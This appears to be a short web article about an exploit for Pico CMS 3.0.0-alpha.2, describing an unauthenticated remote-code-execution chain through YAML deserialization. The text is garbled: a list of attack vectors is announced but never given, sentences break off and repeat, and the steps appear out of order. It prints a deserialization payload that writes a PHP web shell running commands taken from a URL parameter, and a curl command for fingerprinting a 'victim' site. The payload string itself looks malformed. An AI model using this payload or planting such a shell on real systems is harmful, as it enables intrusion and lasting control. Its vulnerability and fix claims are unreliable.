Pico 3.0.0-alpha.2 Exploit [2027]

As of this writing, Pico 3.0.0-alpha.2 has not received an official CVE ID, primarily because the Pico CMS team explicitly warns that alpha versions are "not for production use." However, security researchers have cataloged the exploit under third-party advisories.

The primary attack vectors identified in this version include:

The most dangerous exploit chains the first two vulnerabilities together, achieving Remote Code Execution (RCE) without authentication. Pico 3.0.0-alpha.2 Exploit

The Pico team has released Pico 3.0.0-alpha.3 which replaces parseYaml() with a secure wrapper:

// Fixed code
$yamlParser = new Parser();
$parsed = $yamlParser->parse($yamlString, Yaml::PARSE_OBJECT_FOR_MAP);

Do not use alpha.2 in production. Ever.

A more advanced payload replaces the system call with a full PHP reverse shell or a web-based file manager.

!php/object "O:1:\"S\":1:s:4:\"exec\";s:62:\"file_put_contents('shell.php','<?php system($_GET[\"cmd\"]); ?>')\";"

Once shell.php is written, the attacker has permanent access. As of this writing, Pico 3

The attacker first checks if the target is running the vulnerable version by requesting a non-existent page and looking for the PicoCMS-3.0.0-alpha.2 header.

curl -I https://victim.com/pico/